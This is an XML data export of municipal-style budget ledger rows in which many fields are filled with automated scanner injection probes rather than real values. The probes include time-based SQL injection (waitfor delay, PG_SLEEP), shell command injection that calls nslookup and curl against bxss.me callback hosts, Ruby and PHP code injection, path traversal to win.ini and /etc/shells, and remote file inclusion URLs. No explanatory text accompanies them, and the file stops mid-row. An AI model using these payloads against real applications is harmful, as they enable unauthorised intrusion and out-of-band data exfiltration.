<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1); waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ew3X7EME</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 OR 599=(SELECT 599 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1) OR 608=(SELECT 608 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1)) OR 278=(SELECT 278 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1eH4n6cAY') OR 407=(SELECT 407 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1ekSUsSjY')) OR 370=(SELECT 370 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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Socket.gethostbyname('hittx'+'xspnfkrybef1b.bxss.me.')[3].to_s)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1&amp;n914162=v933158</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>echo yyupgn$()\ zigdej\nz^xyu||a #' &amp;echo yyupgn$()\ zigdej\nz^xyu||a #|" &amp;echo yyupgn$()\ zigdej\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>expr 9000700086 - 965670</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(nslookup -q=cname hitoqkorbljuxd95d8.bxss.me||curl hitoqkorbljuxd95d8.bxss.me))</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>$(nslookup -q=cname hitmkmuqrduin227f9.bxss.me||curl hitmkmuqrduin227f9.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;(nslookup -q=cname hitaaehscekbeb5df7.bxss.me||curl hitaaehscekbeb5df7.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitaaehscekbeb5df7.bxss.me||curl hitaaehscekbeb5df7.bxss.me)&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|(nslookup -q=cname hitagxvouquia520d6.bxss.me||curl hitagxvouquia520d6.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>`(nslookup -q=cname hitzetsvhxrvj5f9e1.bxss.me||curl hitzetsvhxrvj5f9e1.bxss.me)`</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>;(nslookup -q=cname hitnwfabgxqnv5f7db.bxss.me||curl hitnwfabgxqnv5f7db.bxss.me)|(nslookup -q=cname hitnwfabgxqnv5f7db.bxss.me||curl hitnwfabgxqnv5f7db.bxss.me)&amp;(nslookup -q=cname hitnwfabgxqnv5f7db.bxss.me||curl hitnwfabgxqnv5f7db.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>^(#$!@#$)(()))******</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>"+"A".concat(70-3).concat(22*4).concat(113).concat(70).concat(117).concat(83)+(require"socket"
Socket.gethostbyname("hitpm"+"bhlhhzndc5933.bxss.me.")[3].to_s)+"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>"+"A".concat(70-3).concat(22*4).concat(99).concat(65).concat(108).concat(70)+(require"socket"
Socket.gethostbyname("hitds"+"qszuaccabcb01.bxss.me.")[3].to_s)+"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'+'A'.concat(70-3).concat(22*4).concat(117).concat(85).concat(103).concat(73)+(require'socket'
Socket.gethostbyname('hitzs'+'kitctohh6d1c9.bxss.me.')[3].to_s)+'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>;(nslookup -q=cname hittvrdhhelql812b7.bxss.me||curl hittvrdhhelql812b7.bxss.me)|(nslookup -q=cname hittvrdhhelql812b7.bxss.me||curl hittvrdhhelql812b7.bxss.me)&amp;(nslookup -q=cname hittvrdhhelql812b7.bxss.me||curl hittvrdhhelql812b7.bxss.me)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'"()</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'&amp;&amp;sleep(27*1000)*ialawk&amp;&amp;'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>/etc/shells</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102"&amp;&amp;sleep(27*1000)*igjqwo&amp;&amp;"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'"()</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|echo jfeteo$()\ hjdbcv\nz^xyu||a #' |echo jfeteo$()\ hjdbcv\nz^xyu||a #|" |echo jfeteo$()\ hjdbcv\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>"+"A".concat(70-3).concat(22*4).concat(115).concat(85).concat(121).concat(77)+(require"socket"
Socket.gethostbyname("hitic"+"lrdpjucv71211.bxss.me.")[3].to_s)+"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'+'A'.concat(70-3).concat(22*4).concat(101).concat(83).concat(113).concat(68)+(require'socket'
Socket.gethostbyname('hitls'+'fiigdnqa84d4f.bxss.me.')[3].to_s)+'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'A'.concat(70-3).concat(22*4).concat(121).concat(88).concat(100).concat(65)+(require'socket'
Socket.gethostbyname('hitjt'+'kwlulshf2e085.bxss.me.')[3].to_s)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;nslookup -q=cname hitxfylssdqnwf5639.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitxfylssdqnwf5639.bxss.me&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|(nslookup${IFS}-q${IFS}cname${IFS}hitqzfhntobgveb29a.bxss.me||curl${IFS}hitqzfhntobgveb29a.bxss.me)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitfrtgsqgwyn10075.bxss.me||curl${IFS}hitfrtgsqgwyn10075.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitfrtgsqgwyn10075.bxss.me||curl${IFS}hitfrtgsqgwyn10075.bxss.me)&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>!(()&amp;&amp;!|*|*|</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>../../../../../../../../../../../../../../windows/win.ini</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'A'.concat(70-3).concat(22*4).concat(99).concat(86).concat(100).concat(77)+(require'socket'
Socket.gethostbyname('hitgv'+'yfmntyjh47cf5.bxss.me.')[3].to_s)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>expr 9000630346 - 981405</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>"+"A".concat(70-3).concat(22*4).concat(116).concat(76).concat(103).concat(90)+(require"socket"
